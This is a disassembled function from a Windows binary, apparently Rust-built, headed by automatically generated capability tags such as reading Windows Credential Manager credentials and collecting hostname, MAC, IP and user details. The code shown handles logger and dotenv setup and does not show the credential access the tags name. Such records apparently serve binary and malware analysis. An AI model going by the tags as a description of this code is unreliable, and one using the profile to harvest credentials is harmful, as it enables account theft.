Function at 0x14001b8b5
Capabilities:
Acquire credentials from windows credential manager
Connect to wmi namespace via wbemlocator
Encode data using base64
Encrypt data using speck
Get hostname
Get local ipv4 addresses
Get mac address on windows
Get session user name
Get system information on windows
Load assembly via iassembly
Query or enumerate registry value
Reference sql statements
Resolve function by parsing pe exports
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x14a8
call fcn.1401b7370
sub rsp, rax
movdqa xmmword [rsp + 0x1490], xmm9
movdqa xmmword [rsp + 0x1480], xmm8
movdqa xmmword [rsp + 0x1470], xmm7
movdqa xmmword [rsp + 0x1460], xmm6
mov qword [rsp + 0x1310], rdx
movzx eax, byte [rcx + 0x289]
test eax, eax
mov qword [rsp + 0xa0], rcx
je 0x14001b99c
cmp eax, 3
jne 0x140029bf0
lea rax, [rcx + 0x268]
mov qword [rsp + 0x808], rax
movzx eax, byte [rcx + 0x268]
test eax, eax
je 0x14001ba5d
cmp eax, 3
jne 0x140029d75
lea rax, [rcx + 0x260]
mov qword [rsp + 0x250], rax
lea r14, [rcx + 0x218]
movzx eax, byte [rcx + 0x260]
test eax, eax
je 0x14001bd11
mov qword [rsp + 0x248], r14
cmp eax, 3
jne 0x140029efc
mov rax, qword [rcx + 0x248]
mov qword [rsp + 0xa8], rax
mov rax, qword [rcx + 0x258]
mov qword [rsp + 0xb0], rax
jmp 0x140027dcf
mov byte [rcx + 0x288], 0
lea rsi, [rsp + 0x260]
mov rcx, rsi
call fcn.140157d50
cmp byte [rsi + 0x18], 2
mov rsi, qword [rsi]
je 0x14001ba55
mov rdi, qword [rsp + 0x268]
mov r8, qword [rsp + 0x270]
lea rbx, [rsp + 0x990]
mov rcx, rbx
mov rdx, rsi
call fcn.14006155f
mov r14, qword [rbx]
cmp r14, 4
jne 0x14001ba62
lea rbx, [rsp + 0x990]
mov r12, qword [rbx + 8]
mov r15, qword [rbx + 0x10]
mov r14, qword [rbx + 0x18]
mov r13, qword [rbx + 0x20]
mov rcx, rsi
mov rdx, rdi
call fcn.1401371c1
and dword [rbx + 0x20], 0
and word [rbx + 0x24], 0
and dword [rbx], 0
pxor xmm0, xmm0
movdqu xmmword [rbx + 8], xmm0
mov qword [rbx + 0x18], 7
mov byte [rbx + 0x20], 1
mov rcx, rbx
mov rdx, r12
mov r8, r14
call fcn.1401764a0
mov rsi, rdx
test rax, rax
je 0x14001bfba
mov rcx, r12
mov rdx, r15
call fcn.1401371c1
mov r14d, 1
jmp 0x14001ba90
jmp 0x14002338a
mov r15, qword [rsp + 0x998]
mov r12, qword [rsp + 0x9a0]
mov r13, qword [rsp + 0x9a8]
mov rbx, qword [rsp + 0x9b0]
mov rcx, rsi
mov rdx, rdi
call fcn.1401371c1
mov rsi, r15
mov qword [rsp + 0x990], r14
mov qword [rsp + 0x998], rsi
mov qword [rsp + 0x9a0], r12
mov qword [rsp + 0x9a8], r13
mov qword [rsp + 0x9b0], rbx
cmp r14, 4
jne 0x14001d0e4
mov rax, qword [rsp + 0x998]
mov rcx, qword [rsp + 0x9a0]
mov rdx, qword [rsp + 0x9a8]
mov qword [rsp + 0x270], rdx
mov dl, byte [rsp + 0x9b0]
mov byte [rsp + 0x278], dl
mov edx, dword [rsp + 0x9b1]
mov dword [rsp + 0x279], edx
movzx edx, word [rsp + 0x9b5]
mov word [rsp + 0x27d], dx
mov dl, byte [rsp + 0x9b7]
mov byte [rsp + 0x27f], dl
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], rcx
lea rcx, [rsp + 0x260]
call fcn.140096945
lea rsi, [rsp + 0xf40]
and qword [rsi], 0
and qword [rsi + 0x20], 0
lea rax, str.RUST_LOGRUST_LOG_STYLEenv_logger::init_should_not_be_called_after_logger_initialized
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x30], 8
and qword [rsi + 0x38], 0
and qword [rsi + 0x58], 0
lea rax, [0x140282188]
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0xe
lea rdi, [rsp + 0x260]
mov rcx, rdi
call fcn.1401acb2d
mov rcx, rdi
call fcn.140063857
pxor xmm6, xmm6
lea rdi, [rsp + 0x9c8]
and qword [rdi + 0x38], 0
movdqu xmmword [rdi + 0x28], xmm6
lea rcx, [0x140347990]
mov qword [rdi + 0x20], rcx
mov qword [rdi + 0x40], rax
mov qword [rdi + 0x48], rdx
and qword [rdi + 0x50], 0
xor ebx, ebx
mov byte [rdi + 0x70], bl
mov rcx, rdi
call fcn.140063d61
mov byte [rdi + 0x1a], bl
and word [rdi + 0x18], 0
mov eax, 1
mov qword [rdi - 0x38], rax
mov qword [rdi - 0x30], 4
lea rcx, case.0x140092a68.38
mov qword [rdi - 0x28], rcx
mov qword [rdi - 0x20], rax
and qword [rdi - 0x18], 0
mov dword [rdi - 8], 0x10100
mov byte [rdi - 4], bl
mov byte [rdi + 0x78], bl
lea rdi, [rsp + 0x1c0]
mov rcx, rdi
mov rdx, rsi
call fcn.140063d69
mov rdx, qword [rdi]
test rdx, rdx
je 0x14001d530
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x80], rax
mov r8, qword [rsp + 0x1d0]
mov qword [rsp + 0x12a0], rdx
mov qword [rsp + 0x12a8], r8
mov qword [rsp + 0x930], 8
movdqu xmmword [rsp + 0x938], xmm6
lea r14, [rsp + 0xe20]
mov rcx, r14
mov qword [rsp + 0x88], rdx
mov r9d, 0x2f
call fcn.140063899
mov rcx, r14
call fcn.1400638ff
mov rsi, rax
mov rdi, rdx
mov rcx, r14
call fcn.1400638ff
mov rbx, rax
mov r15, rdx
mov rcx, r14
call fcn.1400638ff
test rax, rax
je 0x14001bd21
lea rax, [rsp + 0x12a0]
lea rdx, [rsp + 0x4d0]
mov qword [rdx], rax
lea rax, str.warning:_invalid_logging_spec___ignoring_it_n
lea rcx, [rsp + 0x260]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [fcn.14018e887]
mov qword [rdx + 8], rax
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 1
call fcn.14017a090
mov edi, 8
xor eax, eax
mov qword [rsp + 0xb8], rax
xor ebx, ebx
xor r14d, r14d
jmp 0x14001d273
mov rax, qword [r14]
mov qword [rsp + 0xe8], rax
jmp 0x1400241d5
test rsi, rsi
je 0x14001bf57
mov qword [rsp + 0x50], r15
lea r15, [rsp + 0x4d0]
mov rcx, r15
mov rdx, rsi
mov r8, rdi
mov r9d, 0x2c
call fcn.140063899
lea r12, [rsp + 0x260]
mov rcx, r15
call fcn.1400638ff
test rax, rax
je 0x14001bf52
mov rcx, rax
call fcn.14007ff6e
test rax, rax
je 0x14001bf52
mov r8, rdx
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rdx
test rdx, rdx
je 0x14001bd53
mov rcx, r12
mov rdx, rax
mov r9d, 0x3d
call fcn.140063899
mov rcx, r12
call fcn.1400638ff
mov rdi, rax
mov rsi, rdx
mov rcx, r12
call fcn.1400638ff
test rax, rax
je 0x14001bdc9
mov rcx, rax
call fcn.14007ff6e
mov rbp, rax
mov r14, rdx
jmp 0x14001bdcb
xor ebp, ebp
mov rcx, r12
call fcn.1400638ff
test rdi, rdi
je 0x14001be57
test rbp, rbp
je 0x14001be52
test rax, rax
jne 0x14001be57
mov rcx, rbp
mov rdx, r14
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
xor r9d, r9d
call fcn.140096256
test al, al
jne 0x14001beeb
mov qword [rsp + 0x750], rbp
mov qword [rsp + 0x758], r14
mov rcx, rbp
mov rdx, r14
call fcn.14008c5d6
cmp rax, 6
jne 0x14001bef2
lea rax, str.warning:_invalid_logging_spec___ignoring_it_n
mov qword [rsp + 0x810], rax
mov qword [rsp + 0x818], 2
and qword [rsp + 0x830], 0
lea rax, [rsp + 0x750]
jmp 0x14001be83
test rax, rax
je 0x14001bec8
lea rax, str.warning:_invalid_logging_spec___ignoring_it_n
mov qword [rsp + 0x810], rax
mov qword [rsp + 0x818], 2
and qword [rsp + 0x830], 0
lea rax, [rsp + 0x140]
mov qword [rsp + 0x11a0], rax
lea rax, [fcn.14018e887]
mov qword [rsp + 0x11a8], rax
lea rax, [rsp + 0x11a0]
mov qword [rsp + 0x820], rax
mov qword [rsp + 0x828], 1
lea rcx, [rsp + 0x810]
call fcn.14017a090
jmp 0x14001bd53
mov rcx, rdi
mov rdx, rsi
call fcn.14008c5d6
mov ebp, 5
cmp rax, 6
je 0x14001bef5
mov rbp, rax
mov rsi, qword [rsp + 0x60]
xor r14d, r14d
jmp 0x14001bf18
mov ebp, 5
jmp 0x14001bef5
mov rbp, rax
mov rcx, rsi
xor edx, edx
call fcn.14002b746
mov r14, rax
mov r13, rdx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x818], r14
mov qword [rsp + 0x820], r13
mov qword [rsp + 0x828], rsi
mov qword [rsp + 0x810], rbp
lea rcx, [rsp + 0x930]
lea rdx, [rsp + 0x810]
call fcn.140063a48
jmp 0x14001bd53
mov r15, qword [rsp + 0x50]
test rbx, rbx
je 0x14001c02b
lea rsi, [rsp + 0x810]
mov rcx, rsi
mov rdx, rbx
mov r8, r15
call fcn.14009d6b7
mov r14, qword [rsi]
test r14, r14
je 0x14001c033
mov rax, qword [rsp + 0x828]
mov qword [rsp + 0x760], rax
movdqu xmm0, xmmword [rsp + 0x818]
movdqa xmmword [rsp + 0x750], xmm0
movdqa xmmword [rsp + 0x260], xmm0
mov qword [rsp + 0x270], rax
jmp 0x14001d231
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xb0], r14
mov ecx, 0x2000
call fcn.14014ecef
mov r14, rax
call fcn.14018be70
test rax, rax
je 0x14002a040
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
lea r8, [rcx + 1]
mov qword [rax], r8
pxor xmm6, xmm6
movdqa xmmword [rsp + 0x4d0], xmm6
and qword [rsp + 0x4e0], 0
mov rax, qword [rsp + 0x98]
cmp al, 2
jne 0x14001c0ee
xor ebx, ebx
xor r13d, r13d
xor r12d, r12d
mov esi, 0x2000
jmp 0x14001ba90
xor r14d, r14d
jmp 0x14001d231
mov rbx, qword [rsp + 0x818]
mov rdi, qword [rsp + 0x820]
lea rax, [rsp + 0x11a0]
mov qword [rax], 1
pxor xmm0, xmm0
mov qword [rsp + 0x290], 0x20
mov byte [rsp + 0x298], 3
and qword [rsp + 0x260], 0
movdqu xmmword [rax + 8], xmm0
and qword [rsp + 0x270], 0
mov qword [rsp + 0x280], rax
lea rax, [0x1402819f0]
mov qword [rsp + 0x288], rax
test rbx, rbx
je 0x14001d135
lea rcx, [rsp + 0x818]
lea rdx, [rsp + 0x260]
call fcn.14001089c
test al, al
jne 0x14002a06c
movups xmm0, xmmword [rsp + 0x11a0]
movaps xmmword [rsp + 0x750], xmm0
mov rax, qword [rsp + 0x11b0]
mov qword [rsp + 0x760], rax
mov rcx, rbx
mov rdx, rdi
call fcn.1401371c1
jmp 0x14001d1bd
mov qword [rsp + 0xd8], r12
mov qword [rsp + 0xe0], r15
shr rax, 8
mov qword [rsp + 0x118], rax
lea r8, [rsp + 0x4d8]
mov rax, qword [r8 + 8]
mov qword [rsp + 0x760], rax
movdqa xmm0, xmmword [r8 - 8]
movdqa xmmword [rsp + 0x750], xmm0
lea r9, [rsp + 0x9c0]
mov qword [r9 - 0x30], r14
mov qword [r9 - 0x28], 0x2000
movdqu xmmword [r9 - 0x20], xmm6
and qword [r9 - 0x10], 0
mov qword [r9 - 8], rsi
lea r8, [0x140347990]
mov qword [r9], r8
movdqu xmmword [r9 + 8], xmm0
mov qword [r9 + 0x18], rax
mov qword [r9 + 0x20], rcx
mov qword [r9 + 0x28], rdx
lea r12, [rsp + 0x4e0]
lea r13, [rsp + 0x260]
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x4d0], 1
lea rax, [rsp + 0x4d8]
movdqu xmmword [rax], xmm6
xor r15d, r15d
mov rdi, qword [rsp + 0x990]
mov r14, qword [rsp + 0x9a0]
mov rbx, qword [rsp + 0x9a8]
cmp r14, rbx
jb 0x14001c230
mov qword [rsp + 0x260], rdi
mov rax, qword [rsp + 0x998]
mov qword [rsp + 0x268], rax
and qword [rsp + 0x270], 0
mov rax, qword [rsp + 0x9b0]
mov qword [rsp + 0x278], rax
mov rcx, qword [rsp + 0x9b8]
mov rdx, r13
call fcn.140175b60
test rax, rax
je 0x14001c204
mov rsi, rax
jmp 0x14001c23b
and qword [rsp + 0x9a0], 0
mov rbx, qword [rsp + 0x270]
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x9a8], rbx
mov qword [rsp + 0x9b0], rax
xor r14d, r14d
mov rsi, rbx
sub rsi, r14
test rdi, rdi
jne 0x14001c258
mov rcx, rsi
call fcn.14000af57
cmp al, 0x23
jne 0x14001c330
mov rcx, rsi
call fcn.1400721fc
jmp 0x14001c19c
add r14, rdi
cmp rsi, 0xf
ja 0x14001c274
xor ebp, ebp
cmp rsi, rbp
je 0x14001c289
cmp byte [r14 + rbp], 0xa
je 0x14001c291
inc rbp
jmp 0x14001c263
mov cl, 0xa
mov rdx, r14
mov r8, rsi
call fcn.14005a2d0
mov r13, rax
mov rbp, rdx
jmp 0x14001c297
mov rbp, rsi
xor r13d, r13d
jmp 0x14001c297
mov r13d, 1
test r13, r13
je 0x14001c2d7
cmp rbp, 0xffffffffffffffff
je 0x140029dfb
inc rbp
mov rcx, rbp
mov rdx, r14
mov r8, rsi
lea r9, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srciomod.rs
call fcn.140061ae9
lea r8, [rdx + rax]
lea rcx, [rsp + 0x4d0]
mov rdx, rax
call fcn.14006024c
mov rsi, rbp
jmp 0x14001c2ed
add rdi, rbx
lea rcx, [rsp + 0x4d0]
mov rdx, r14
mov r8, rdi
call fcn.14006024c
mov rax, qword [rsp + 0x9a0]
add rax, rsi
mov rcx, qword [rsp + 0x9a8]
cmp rax, rcx
cmovae rax, rcx
add r15, rsi
mov qword [rsp + 0x9a0], rax
mov bl, 1
test r13, r13
jne 0x14001cd73
test rsi, rsi
lea r13, [rsp + 0x260]
jne 0x14001c19c
jmp 0x14001c335
xor ebx, ebx
mov r15, rsi
mov rsi, qword [rsp + 0x4d0]
mov rdi, qword [rsp + 0x4e0]
mov rcx, r13
mov rdx, rsi
mov r8, rdi
call fcn.140055380
test bl, bl
mov rax, r15
lea rcx, str.stream_did_not_contain_valid_UTF_8
cmovne rax, rcx
cmp qword [rsp + 0x260], 0
cmove rax, r15
mov ecx, 0
cmovne rdi, rcx
sete bpl
mov qword [rsp + 0x4e0], rdi
and bpl, bl
cmp bpl, 1
jne 0x14001c435
test rax, rax
mov r15, qword [rsp + 0x50]
je 0x14001c43d
mov dword [rsp + 0x260], 0xa
mov rcx, rsi
mov rdx, rdi
mov r8, r13
call fcn.140060587
test al, al
je 0x14001c414
lea rcx, [rsp + 0x4d0]
call fcn.1400605f8
mov rsi, qword [rsp + 0x4d0]
mov rdi, qword [rsp + 0x4e0]
mov dword [rsp + 0x260], 0xd
mov rcx, rsi
mov rdx, rdi
mov r8, r13
call fcn.140060587
test al, al
je 0x14001c414
lea rcx, [rsp + 0x4d0]
call fcn.1400605f8
mov rsi, qword [rsp + 0x4d0]
mov rdi, qword [rsp + 0x4e0]
mov rax, qword [rsp + 0x4d8]
mov qword [rsp + 0x70], rax
mov r15, rsi
mov qword [rsp + 0x60], rdi
movabs rbp, 0x100003e00
jmp 0x14001c460
xor r15d, r15d
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x4d8]
mov rcx, rsi
call fcn.1401371c1
test bpl, bpl
movabs rbp, 0x100003e00
jne 0x14002094a
test r15, r15
je 0x14001d06d
mov rax, qword [rsp + 0x60]
lea rbx, [r15 + rax]
mov qword [rsp + 0x4d0], r15
mov qword [rsp + 0x4d8], rax
mov qword [rsp + 0x4e0], r15
mov qword [rsp + 0x4e8], rbx
and qword [rsp + 0x4f0], 0
mov qword [rsp + 0x50], r15
mov rdi, r15
mov rsi, rbx
mov rcx, r12
call fcn.1401a2c0e
test eax, eax
je 0x14001c502
mov eax, 0
cmp edx, 0x110000
je 0x14001c504
mov r14, qword [rsp + 0x4f0]
mov r15, qword [rsp + 0x4e0]
mov rbx, qword [rsp + 0x4e8]
cmp edx, 0x20
ja 0x14001c4e4
mov eax, edx
bt rbp, rax
jb 0x14001c4a0
cmp edx, 0x80
jb 0x14001c4f7
mov ecx, edx
call fcn.140060420
test al, al
jne 0x14001c4a0
sub rsi, rdi
add rsi, r14
mov rax, rsi
jmp 0x14001c504
xor eax, eax
mov r15, qword [rsp + 0x50]
mov qword [rsp + 0x260], r15
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x268], rcx
lea rcx, [rsp + 0x9c0]
mov qword [rsp + 0x270], rcx
mov qword [rsp + 0x278], r15
mov qword [rsp + 0x280], rax
and qword [rsp + 0x288], 0
mov rcx, r13
call fcn.140060e7f
mov rdx, qword [rsp + 0x280]
test rdx, rdx
je 0x14001cd57
mov rcx, qword [rsp + 0x278]
call fcn.1400603ff
test al, al
jne 0x14001cd57
lea rcx, [rsp + 0x4d0]
mov rdx, r13
call fcn.140060f2f
mov rbx, r13
mov r13, qword [rsp + 0x4d0]
mov rsi, qword [rsp + 0x4d8]
mov r14, qword [rsp + 0x4e0]
mov rdi, qword [rsp + 0x4e8]
cmp r13, 4
jne 0x14001cdf0
mov rcx, rbx
call fcn.140060e7f
mov r9d, 6
mov rcx, rsi
mov rdx, rdi
lea r8, str.export_usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_dotenv_0.15.0_src_parse.rs
call fcn.140096256
test al, al
je 0x14001c61e
lea r15, [rsp + 0x4d0]
mov rcx, r15
mov rdx, rbx
call fcn.140061091
mov rax, qword [rsp + 0x4d0]
cmp rax, 4
ja case.0x14001c605.3
lea rcx, [0x14026a600]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x4e8]
call fcn.1401371c1
jmp case.0x14001c605.3
lea rcx, [rsp + 0x4d0]
mov rdx, rbx
call fcn.140061091
mov r13, qword [rsp + 0x4d0]
cmp r13, 4
je 0x14001c6d5
jmp 0x14001cf40
mov rcx, qword [rsp + 0x4d8]
call fcn.1400721fc
jmp case.0x14001c605.3
lea rcx, [rsp + 0x4d8]
call fcn.140096945
mov rcx, r15
mov rdx, rbx
call fcn.140060f2f
mov rbp, rbx
mov rax, r15
mov r13, qword [rsp + 0x4d0]
mov r15, qword [rsp + 0x4d8]
mov rbx, qword [rsp + 0x4e0]
mov rdi, qword [rsp + 0x4e8]
cmp r13, 4
jne 0x14001cfe4
mov r13, rax
mov rcx, rsi
mov rdx, r14
call fcn.1401371c1
mov rcx, rbp
call fcn.140060e7f
mov rcx, r13
mov rdx, rbp
call fcn.140061091
mov r13, qword [rsp + 0x4d0]
mov rsi, r15
cmp r13, 4
jne 0x14001cff9
mov r14, rbx
lea rbx, [rsp + 0x260]
mov rcx, rbx
call fcn.140060e7f
mov rbx, qword [rsp + 0x280]
test rbx, rbx
mov qword [rsp + 0x90], rdi
je 0x14001c711
mov r15, qword [rsp + 0x278]
mov rcx, r15
mov rdx, rbx
call fcn.1400603ff
test al, al
je 0x14001c76e
mov r13, qword [rsp + 0x270]
lea rbx, [rsp + 0xe20]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.14004b8b0
and qword [rsp + 0xf40], 0
lea rdi, [rsp + 0x4d0]
mov rcx, rdi
mov rdx, r13
mov r8, rbx
lea r9, [rsp + 0xf40]
call fcn.1400607ea
mov rcx, rdi
call fcn.1400613a0
mov ebp, 1
xor r13d, r13d
xor r15d, r15d
jmp 0x14001cd4e
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb8], rax
mov ecx, 1
mov qword [rsp + 0x11a0], rcx
lea rax, [rsp + 0x11a8]
movdqu xmmword [rax], xmm6
mov qword [rsp + 0x810], rcx
lea rax, [rsp + 0x818]
movdqu xmmword [rax], xmm6
mov qword [rsp + 0xa8], rbx
lea rax, [r15 + rbx]
mov qword [rsp + 0xe8], r15
mov qword [rsp + 0xe20], r15
mov qword [rsp + 0xe28], rax
and qword [rsp + 0xe30], 0
mov dword [rsp + 0x78], 0
xor ebp, ebp
mov dword [rsp + 0x80], 0
xor eax, eax
xor ecx, ecx
lea rbx, [rsp + 0xe20]
mov byte [rsp + 0x58], cl
mov byte [rsp + 0x68], al
mov rcx, rbx
call fcn.14000f418
test eax, eax
je 0x14001cc13
mov r13d, edx
cmp edx, 0x110000
je 0x14001cc13
mov r15, qword [rsp + 0xe30]
lea rax, [r15 + 1]
mov qword [rsp + 0xe30], rax
test bpl, 1
je 0x14001c84b
cmp r13d, 9
je 0x14001c801
cmp r13d, 0x20
je 0x14001c801
jmp 0x14001cc09
cmp byte [rsp + 0x80], 0
je 0x14001c89e
lea eax, [r13 - 0x20]
cmp eax, 0x3c
ja 0x14001c906
movabs rcx, 0x1000000000000095
bt rcx, rax
jae 0x14001c906
lea rcx, [rsp + 0x11a0]
mov edx, r13d
call fcn.140060663
mov dword [rsp + 0x80], 0
mov al, byte [rsp + 0x68]
mov cl, byte [rsp + 0x58]
jmp 0x14001c7f9
mov r15b, byte [rsp + 0x58]
test r15b, r15b
jne 0x14001c8dd
cmp byte [rsp + 0x78], 0
je 0x14001c950
mov eax, r13d
and eax, 0xffffffdf
add eax, 0xffffffbf
cmp eax, 0x1a
jae 0x14001c922
lea rcx, [rsp + 0x810]
mov edx, r13d
call fcn.140060663
mov al, byte [rsp + 0x68]
mov ecx, r15d
jmp 0x14001c7f9
xor ecx, ecx
mov r15b, byte [rsp + 0x68]
mov eax, r15d
cmp r13d, 0x27
je 0x14001c7f9
lea rcx, [rsp + 0x11a0]
mov edx, r13d
call fcn.140060663
mov eax, r15d
jmp 0x14001c895
cmp r13d, 0x6e
jne 0x14001cd80
lea rcx, [rsp + 0x11a0]
mov edx, 0xa
jmp 0x14001c881
cmp r13d, 0x80
jb 0x14001c9c8
mov ecx, r13d
call fcn.14005fb80
test al, al
jne 0x14001c8c1
mov ecx, r13d
call fcn.14005ff80
test al, al
jne 0x14001c8c1
jmp 0x14001c9d5
mov al, 1
mov dword [rsp + 0x78], eax
mov dl, byte [rsp + 0x68]
mov eax, edx
mov ecx, r15d
cmp r13d, 0x24
je 0x14001c7f9
test dl, dl
jne 0x14001ca89
mov eax, edx
mov cl, 1
cmp r13d, 9
je 0x14001cbc9
cmp r13d, 0x20
je 0x14001cbc9
cmp r13d, 0x22
je 0x14001cbdd
mov dword [rsp + 0x78], 0
cmp r13d, 0x27
je 0x14001c7f9
cmp r13d, 0x5c
je 0x14001caae
lea rcx, [rsp + 0x11a0]
mov edx, r13d
call fcn.140060663
mov al, byte [rsp + 0x68]
jmp 0x14001cbcc
lea eax, [r13 - 0x30]
cmp eax, 0xa
jb 0x14001c8c1
cmp byte [rsp + 0x78], 2
jne 0x14001cad7
cmp r13d, 0x7d
jne 0x14001cabc
mov rax, qword [rsp + 0x810]
mov rcx, qword [rsp + 0x820]
lea rdx, [rsp + 0x810]
mov qword [rsp + 0x4e0], rdx
and qword [rsp + 0x4e8], 0
lea rdx, [rax + rcx]
mov qword [rsp + 0x4f0], rcx
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x4d8], rdx
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x4d0]
call fcn.140060751
mov r13, qword [rsp + 0xf40]
mov r8, qword [rsp + 0xf50]
mov rcx, qword [rsp + 0xb8]
mov rdx, r13
lea r9, [rsp + 0x11a0]
call fcn.14006110d
mov rdx, qword [rsp + 0xf48]
mov rcx, r13
call fcn.1401371c1
mov dword [rsp + 0x78], 0
jmp 0x14001c8d1
mov dword [rsp + 0x78], 0
mov eax, 0
mov cl, byte [rsp + 0x58]
cmp r13d, 0x22
je 0x14001c7f9
cmp r13d, 0x5c
jne 0x14001cbec
mov al, 1
mov dword [rsp + 0x80], eax
jmp 0x14001cbfc
lea rcx, [rsp + 0x810]
mov edx, r13d
call fcn.140060663
mov al, 2
mov dword [rsp + 0x78], eax
jmp 0x14001c8d1
mov rdx, qword [rsp + 0x820]
cmp r13d, 0x7b
mov r8b, byte [rsp + 0x68]
jne 0x14001cb00
mov al, 2
mov dword [rsp + 0x78], eax
mov eax, r8d
mov cl, byte [rsp + 0x58]
test rdx, rdx
je 0x14001c7f9
mov rax, qword [rsp + 0x810]
lea rcx, [rsp + 0x810]
mov qword [rsp + 0x4e0], rcx
and qword [rsp + 0x4e8], 0
lea rcx, [rax + rdx]
mov qword [rsp + 0x4f0], rdx
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x4d8], rcx
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x4d0]
call fcn.140060751
mov r15, qword [rsp + 0xf40]
mov r8, qword [rsp + 0xf50]
mov rcx, qword [rsp + 0xb8]
mov rdx, r15
lea r9, [rsp + 0x11a0]
call fcn.14006110d
mov rdx, qword [rsp + 0xf48]
mov rcx, r15
call fcn.1401371c1
mov r8b, byte [rsp + 0x68]
mov al, 1
mov dword [rsp + 0x78], eax
mov eax, r8d
mov cl, byte [rsp + 0x58]
cmp r13d, 0x24
je 0x14001c7f9
lea rcx, [rsp + 0x11a0]
mov edx, r13d
mov r13d, r8d
call fcn.140060663
mov dword [rsp + 0x78], 0
mov eax, r13d
jmp 0x14001c895
mov bpl, 1
mov cl, byte [rsp + 0x58]
mov dword [rsp + 0x78], 0
jmp 0x14001c7f9
mov al, 1
mov dword [rsp + 0x78], 0
jmp 0x14001c895
lea rcx, [rsp + 0x11a0]
mov edx, r13d
call fcn.140060663
mov dword [rsp + 0x78], 0
jmp 0x14001c891
cmp r13d, 0x23
jne 0x14001cd80
cmp byte [rsp + 0x78], 2
je 0x14001d029
cmp byte [rsp + 0x58], 0
jne 0x14001d029
cmp byte [rsp + 0x68], 0
jne 0x14001d029
mov rax, qword [rsp + 0x810]
mov rcx, qword [rsp + 0x820]
lea rdx, [rsp + 0x810]
mov qword [rsp + 0x4e0], rdx
and qword [rsp + 0x4e8], 0
lea rdx, [rax + rcx]
mov qword [rsp + 0x4f0], rcx
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x4d8], rdx
mov qword [rsp + 0x58], rsi
mov rsi, rdi
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x4d0]
call fcn.140060751
mov r13, qword [rsp + 0xf40]
mov r8, qword [rsp + 0xf50]
mov rdi, qword [rsp + 0xb8]
mov rcx, rdi
mov rdx, r13
lea r9, [rsp + 0x11a0]
call fcn.14006110d
mov rdx, qword [rsp + 0xf48]
mov rcx, r13
call fcn.1401371c1
mov rbp, qword [rsp + 0x11a0]
mov r15, qword [rsp + 0x11a8]
mov r13, qword [rsp + 0x11b0]
mov rcx, qword [rsp + 0x810]
mov rdx, qword [rsp + 0x818]
call fcn.1401371c1
mov rcx, rbx
mov rdx, qword [rsp + 0x58]
mov r8, rsi
mov rsi, qword [rsp + 0x58]
call fcn.14004b8b0
lea rcx, [rsp + 0xf40]
mov rdx, rbp
mov r8, r13
call fcn.14004b8b0
lea rcx, [rsp + 0x4d0]
mov rdx, rdi
mov r8, rbx
lea r9, [rsp + 0xf40]
call fcn.1400607ea
lea rcx, [rsp + 0x4d0]
call fcn.1400613a0
test rsi, rsi
jne 0x14001cf0e
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x70]
call fcn.1401371c1
lea r13, [rsp + 0x260]
jmp 0x14001c181
lea r13, [rsp + 0x260]
jmp 0x14001c335
mov rbp, qword [rsp + 0xa8]
mov rcx, rbp
call fcn.14014ecef
mov rdi, rdx
mov qword [rsp + 0x88], rax
mov rcx, rax
mov rdx, qword [rsp + 0xe8]
mov r8, rbp
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x810]
mov rdx, qword [rsp + 0x818]
call fcn.1401371c1
mov rcx, qword [rsp + 0x11a0]
mov rdx, qword [rsp + 0x11a8]
call fcn.1401371c1
xor r13d, r13d
mov rcx, rsi
mov rdx, r14
call fcn.1401371c1
mov rsi, r15
mov r15, qword [rsp + 0x50]
jmp 0x14001ce00
mov rbp, qword [rsp + 0x4f0]
mov qword [rsp + 0x88], r14
mov r14, r13
mov qword [rsp + 0xc0], rdi
xor edi, edi
mov qword [rsp + 0xd0], rbp
mov rcx, r15
mov rdx, qword [rsp + 0x70]
call fcn.1401371c1
test rdi, rdi
lea r13, [rsp + 0x260]
je 0x14001d078
mov rcx, r13
mov rdx, rdi
mov r8, rsi
call fcn.1401750f0
mov bl, byte [rsp + 0x278]
mov rcx, r13
call fcn.1400613b7
cmp bl, 3
jne 0x14001ce6f
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0xc0]
call fcn.1401371c1
jmp 0x14001cfd4
mov qword [rsp + 0xe20], rdi
mov qword [rsp + 0xe28], rsi
mov rbx, qword [rsp + 0x88]
mov qword [rsp + 0xf40], rbx
mov rbp, qword [rsp + 0xd0]
mov qword [rsp + 0xf48], rbp
mov rcx, r13
mov qword [rsp + 0x50], rdi
mov rdx, rdi
mov r8, rsi
call fcn.1401572f0
mov rsi, qword [rsp + 0x260]
mov rdi, qword [rsp + 0x268]
test rsi, rsi
je 0x14001cefe
mov rcx, r13
mov rdx, rbx
mov r8, rbp
call fcn.1401572f0
mov rbp, qword [rsp + 0x260]
mov rbx, qword [rsp + 0x268]
test rbp, rbp
je 0x14001cf3b
